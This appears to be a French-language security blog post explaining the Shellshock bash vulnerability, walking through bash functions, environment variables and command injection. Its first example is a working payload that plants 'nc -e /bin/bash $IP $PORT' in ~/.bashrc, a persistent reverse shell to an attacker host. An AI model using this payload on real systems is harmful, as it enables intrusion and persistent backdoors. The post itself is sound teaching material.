Skip to main content

La vulnérabilité Shellshock

·445 words·3 mins· loading · loading · ·
apache article bash ctf web
0xNinja
Author
0xNinja
mov al, 11
Table of Contents

Shellshock est une vulnérabilité présente dans bash 4.3 et antérieur. Il s’agit d’une vulnérabilité logicielle qui se base sur de l’injection de commande en passant par les variables d’environement. C’est vachement cool car elle mène à une bonne grosse RCE des familles, donc c’est pas négligeable 😘.

Statistiques
#

Quelques statistiques afin d’illustrer la portée et l’attention portée de la vulnérabilité.

Stonks gif

Shellshock a beaucoup été à la mode quand elle est sortie, énormément de trafic a été généré par des botnets lors de tentatives d’exploitation de la vulnérabilité.

Bon faut que je trouve des stats mais c’est un autre problème

Comment ça marche ?
#

Thinking gif

1env _='() { echo "Yeah ma boi"; }; echo "nc -e /bin/bash $IP $PORT" >> ~/.bashrc;'; bash -c 'echo "Bonjour à tous"'

Là on force l’utilisateur à lancer un shell sur $IP:$PORT à chaque fois qu’il va ouvrir un shell, mais on peut immaginer d’innombrables autres scénarios d’attaque, de compromission de machine, ou de porte dérobée.

Pour comprendre le fonctionnement de cette payload, on va la prendre par étape.

Les fonctions dans bash
#

Si vous n’êtes pas connaisseur, il est possible de créer des fonctions dans bash directement, la syntaxe est la suivante :

1my_function () {
2  echo "Hello"
3}
4
5# Ou plus explicitement
6
7function my_function () {
8  echo "Hello"
9}

Pour l’exécuter on peut l’appeller de cette manière :

1$ my_function
2Hello

Utiliser une variable d’environnement avec bash
#

Les variables d’environnement permettent de gérer pas mal de choses, mais principalement de passer des valeurs d’un programme à un autre, sans passer par des étapes compliquées.

Note : les variables type $PATH, $SHELL, $PWD, $TERM… sont des variables d’environnement, utilisables par des programmes.

En bash :

1$ env BoC='ovgr bh pbhvyyr'
2$ env | grep BoC
3BoC=ovgr bh pbhvyyr # On a bien notre nouvelle variable d'environnement
4
5# On peut aussi déclarer une fonction :
6$ env my_function='() { echo "aHR0cHM6Ly9ncGguaXMvMWEzWDV0UQ==" | base64 -d; }'

On peut même les utiliser dans un sous-shell :

1$ env my_function='() { echo "aHR0cHM6Ly9ncGguaXMvMWEzWDV0UQ==" | base64 -d; }'; bash -c 'my_function;'

L’utilisation de variables d’environnement dans des sous-shells a été supprimée depuis, mais si vous voulez quand même tester, Docker ou VM 😉

Injection
#

La partie sympa de Shellshock, c’est qu’on pouvait injecter une commande à exécuter via les variables d’environnement, en ajoutant la commande à la suite de la déclaration d’une fonction :

1$ env a='() { echo "This is my function"; }; echo "Not in the func"'; bash -c 'a;'
2Not in the func # Ne devrait pas être appelé !
3This is my function

Mind blown gif

Donc ouais, Shellshock c’est quand même vachement cool 😎.

Related

Les pyjails pour les débutants
·513 words·3 mins· loading · loading
ctf jail python